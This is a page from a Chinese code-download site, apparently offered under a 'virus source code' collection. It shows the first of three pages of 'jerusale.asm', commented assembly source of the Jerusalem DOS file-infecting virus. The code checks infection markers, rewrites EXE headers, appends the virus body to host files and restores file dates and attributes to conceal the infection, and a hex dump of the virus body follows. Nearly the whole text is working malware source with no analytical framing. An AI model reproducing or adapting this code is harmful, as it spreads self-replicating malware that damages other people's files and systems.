⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 jerusale.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 3 页
字号:
    MOV  AX,CS               ;
    MOV  DS,AX               ;
    MOV  ES,AX               ;
    MOV  AH,3FH              ;
    INT  21H            ;READ FROM A FILE
                        ;
    MOV  DI,DX          ;0417     ;CHECK IF LAST 5 BYTES = 'MsDos'
    MOV  SI,offset MS_DOS    ;
    REPE CMPSB               ;
    JNE  L0427               ;
    MOV  AH,3E               ;IF == 'MsDos'...
    INT  21H            ;CLOSE FILE
    JMP  I_90           ;...PASS CONTROL TO DOS
                        ;
L0427:   MOV  AX,3524             ;GET CRITICAL ERROR VECTOR
    INT  21H            ;GET VECTOR
    MOV  [OLD_24],BX         ;
    MOV  [OLD_24+2],ES       ;
                        ;
    MOV  DX,offset NEW_24    ;
    MOV  AX,2524             ;SET CRITICAL ERROR VECTOR
    INT  21H            ;SET VECTOR
                        ;
    LDS  DX,dword ptr [HOST_NAME];
    XOR  CX,CX               ;
    MOV  AX,4301H       ;
    INT  21H            ;CHANGE FILE MODE
L0447:   JC   L0484               ;
                        ;
    MOV  BX,CS:[HANDLE]      ;
    MOV  AH,3E               ;
    INT  21H            ;CLOSE FILE
                        ;
    MOV  Word ptr CS:[HANDLE],-1  ;CLEAR HANDLE
                        ;
    MOV  AX,3D02             ;
    INT  21H            ;OPEN FILE R/W
    JC   L0484               ;
                        ;
    MOV  CS:[HANDLE],AX      ;0460     2EA37000
    MOV  AX,CS               ;0464     8CC8
    MOV  DS,AX               ;0466     8ED8
    MOV  ES,AX               ;0468     8EC0
    MOV  BX,[HANDLE]         ;046A     8B1E7000
    MOV  AX,5700             ;046E     B80057
    INT  21H            ;GET/SET FILE DATE TIME
                        ;
    MOV  [HOST_DATE],DX      ;0473     89167400
    MOV  [HOST_TIME],CX      ;0477     890E7600
    MOV  AX,4200             ;047B     B80042
    XOR  CX,CX               ;047E     33C9
    MOV  DX,CX               ;0480     8BD1
    INT  21H            ;MOVE FILE POINTER
L0484:   JC   L04C3               ;0484     723D
                        ;
    CMP  Byte ptr [A004E],00 ;0486     803E4E0000
    JE   L0490               ;048B     7403
    JMP  L04E6               ;048D     EB57
                        ;
    NOP                 ;048F     90
L0490:   MOV  BX,1000             ;0490     BB0010
    MOV  AH,48               ;0493     B448
    INT  21H            ;ALLOCATE MEMORY
    JNC  L04A4               ;0497     730B
                        ;
    MOV  AH,3E               ;0499     B43E
    MOV  BX,[HANDLE]         ;049B     8B1E7000
    INT  21H            ;CLOSE FILE (OBVIOUSLY)
    JMP  I_90           ;04A1     E94301
                        ;
L04A4:   INC  Word ptr [A008F]    ;04A4     FF068F00
    MOV  ES,AX               ;04A8     8EC0
    XOR  SI,SI               ;04AA     33F6
    MOV  DI,SI               ;04AC     8BFE
    MOV  CX,710H             ;04AE     B91007
    REP  MOVSB               ;04B2     A4
    MOV  DX,DI               ;04B3     8BD7
    MOV  CX,[A0011]          ;?GET HOST SIZE - YES
    MOV  BX,[70H]       ;04B9     8B1E7000
    PUSH ES             ;04BD     06
    POP  DS             ;04BE     1F
    MOV  AH,3FH              ;04BF     B43F
    INT  21H            ;READ FROM A FILE
L04C3:   JC   L04E1               ;04C3     721C
                        ;
    ADD  DI,CX               ;04C5     03F9
                        ;
    XOR  CX,CX               ;POINT TO BEGINNING OF FILE
    MOV  DX,CX               ;
    MOV  AX,4200H       ;
    INT  21H            ;MOVE FILE POINTER
                        ;
    MOV  SI,offset MS_DOS    ;04D0     BE0500
    MOV  CX,5           ;04D3     B90500
    REP  CS:MOVSB       ;04D7     2EA4
    MOV  CX,DI               ;04D9     8BCF
    XOR  DX,DX               ;04DB     33D2
    MOV  AH,40H              ;
    INT  21H            ;WRITE TO A FILE
L04E1:   JC   L04F0               ;
    JMP  L05A2               ;
                        ;
;---------------------------------------;
; READ EXE HEADER            ;
;---------------------------------------;
L04E6:   MOV  CX,1CH              ;READ EXE HEADER INTO BUFFER
    MOV  DX,offset EXE_HDR   ;
    MOV  AH,3F               ;
    INT  21H            ;READ FILE
    JC   L053C               ;
                        ;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT    ;
;---------------------------------------;
    MOV  Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
    MOV  AX,[EXE_HDR+14]          ;   SS
    MOV  [HOST_SS],AX        ;
    MOV  AX,[EXE_HDR+16]          ;   SP
    MOV  [HOST_SP],AX        ;
    MOV  AX,[EXE_HDR+20]          ;   IP
    MOV  [HOST_IP],AX        ;
    MOV  AX,[EXE_HDR+22]          ;   CS
    MOV  [HOST_CS],AX        ;
    MOV  AX,[EXE_HDR+4]      ;   SIZE (IN 512 BLOCKS)
    CMP  Word ptr [EXE_HDR+2],0   ;   SIZE MOD 512
    JZ   L051B               ;IF FILE SIZE==0...JMP
    DEC  AX             ;
L051B:   MUL  Word ptr [BLOCK_SIZE]    ;
    ADD  AX,[EXE_HDR+2]      ;
    ADC  DX,0           ;AX NOW = FILE SIZE
                        ;
    ADD  AX,0FH              ;MAKE SURE FILE SIZE IS PARA. BOUND
    ADC  DX,0           ;
    AND  AX,0FFF0H      ;
    MOV  [HOST_SIZE],AX      ;SAVE POINTER TO BEGINNING OF VIRUS
    MOV  [HOST_SIZE+2],DX    ;
                        ;
    ADD  AX,710H             ;(SIZE OF VIRUS)
    ADC  DX,0           ;
L053C:   JC   L0578               ;IF > FFFFFFFF...JMP
    DIV  Word ptr [BLOCK_SIZE]    ;
    OR   DX,DX               ;
    JE   L0547               ;
    INC  AX             ;
L0547:   MOV  [EXE_HDR+4],AX      ;
    MOV  [EXE_HDR+2],DX      ;
                        ;---------------;
    MOV  AX,[HOST_SIZE]                ;DX:AX = HOST SIZE
    MOV  DX,[HOST_SIZE+2]              ;
    DIV  Word ptr [A007A]              ;
    SUB  AX,[EXE_HEAD+8]                    ;SIZE OF EXE HDR
    MOV  [EXE_HDR+22],AX                    ;VALUE OF CS
    MOV  Word ptr [EXE_HDR+20],offset BEGIN_EXE  ;VALUE OF IP
    MOV  [EXE_HDR+14],AX                    ;VALUE OF SS
    MOV  Word ptr [EXE_HDR+16],710H         ;VALUE OF SP
                        ;---------------;
    XOR  CX,CX               ;POINT TO BEGINNING OF FILE (EXE HDR)
    MOV  DX,CX               ;
    MOV  AX,4200H       ;
    INT  21H            ;MOVE FILE POINTER
L0578:   JC   L0584               ;
                        ;
;---------------------------------------;
; WRITE INFECTED EXE HEADER       ;
;---------------------------------------;
    MOV  CX,1CH              ;
    MOV  DX,offset EXE_HDR   ;
    MOV  AH,40H              ;
    INT  21H            ;WRITE TO A FILE
L0584:   JC   L0597               ;
    CMP  AX,CX               ;
    JNE  L05A2               ;
                        ;
    MOV  DX,[HOST_SIZE]      ;POINT TO END OF FILE
    MOV  CX,[HOST_SIZE+2]    ;
    MOV  AX,4200             ;
    INT  21H            ;MOVE FILE POINTER
L0597:   JC   L05A2               ;
                        ;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
    XOR  DX,DX               ;
    MOV  CX,710H             ;(SIZE OF VIRUS)
    MOV  AH,40H              ;
    INT  21H            ;WRITE TO A FILE
                        ;
L05A2:   CMP  Word ptr CS:[008F],0     ;IF...
    JZ   L05AE               ;...SKIP
    MOV  AH,49H              ;
    INT  21H            ;FREE ALLOCATED MEMORY
                        ;
L05AE:   CMP  Word ptr CS:[HANDLE],-1  ;IF ...
    JE   I_90           ;...SKIP
                        ;
    MOV  BX,CS:[HANDLE]      ;RESTORE HOST'S DATE/TIME
    MOV  DX,CS:[HOST_DATE]   ;
    MOV  CX,CS:[HOST_TIME]   ;
    MOV  AX,5701H       ;
    INT  21H            ;GET/SET FILE DATE/TIME
                        ;
    MOV  AH,3EH              ;
    INT  21H            ;CLOSE FILE
                        ;
    LDS  DX,CS:[HOST_NAME]   ;RESTORE HOST'S ATTRIBUTE
    MOV  CX,CS:[HOST_ATT]    ;
    MOV  AX,4301H       ;
    INT  21H            ;CHANGE FILE MODE
                        ;
    LDS  DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
    MOV  AX,2524H       ;
    INT  21H            ;SET VECTOR
                        ;
I_90:    POP  ES             ;
    POP  DS             ;
    POP  DI             ;
    POP  SI             ;
    POP  DX             ;
    POP  CX             ;
    POP  BX             ;
    POP  AX             ;
    POPF                ;   (OUR PUSHF)
    JMP  far CS:[OLD_21]          ;PASS CONTROL TO DOS
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
;0100  E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00  i..sUMsDos......
;0110  00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48  ...%~.p`.N.V.%.H
;0120  7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ~...............
;0130  00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C  ...........\...l
;0140  00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D  .....z4E.z4.p..M
;0150  5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10  ZP...1. .....\..
;0160  07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3  ...E.\. ...CCCCC
;0170  05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00  .. .!.-.....@'..
;0180  D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01  YA(.COMMAND.COM.
;0190  00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80  .....|4`M!.|`s..
;01A0  FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B  |.r.4]?..>...w..
;01B0  8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50  ...M!.H....P<..P
;01C0  B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39  8E.PK|....1....9
;01D0  00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00  ....=....A..@...
;01E0  2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC  ...I....E.4`M!.|
;01F0  E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43  `s..|.....E...&C
;0200  00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3  ....G.3@.@&!|..#
;0210  4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3  K.& ~.."M.&G.|.s
;0220  A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9  %&F.~.KX....@..9
;0230  10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03  ..Qi3v.~.8B.Pj|.
;0240  00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B  ...H.P<..3@.X.!K
;0250  00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3  .#|.. M."~..\1.S
;0260  EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00  k.C....3.4J...1.
;0270  CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19  M!8!5M!.........
;0280  00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26  ...:[.8!%M!..1.&
;0290  8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05  ..,.3.9..2@r.&8.
;02A0  E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35  `y.W.B.8.K....;5
;02B0  00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00  ...PSQR4*M!.F...
;02C0  00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08  ..yC.t0<.u..z.u.
;02D0  2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E  .~...k .8.5M!...
;02E0  13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8  .........G....~8
;02F0  08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF  .%:..M!ZY[X.....
;0300  1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA  .....4IM!4MM!41:
;0310  00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83  ..1.Sj.B.M!2@O..
;0320  3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87  >...u.PSQRU8..

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -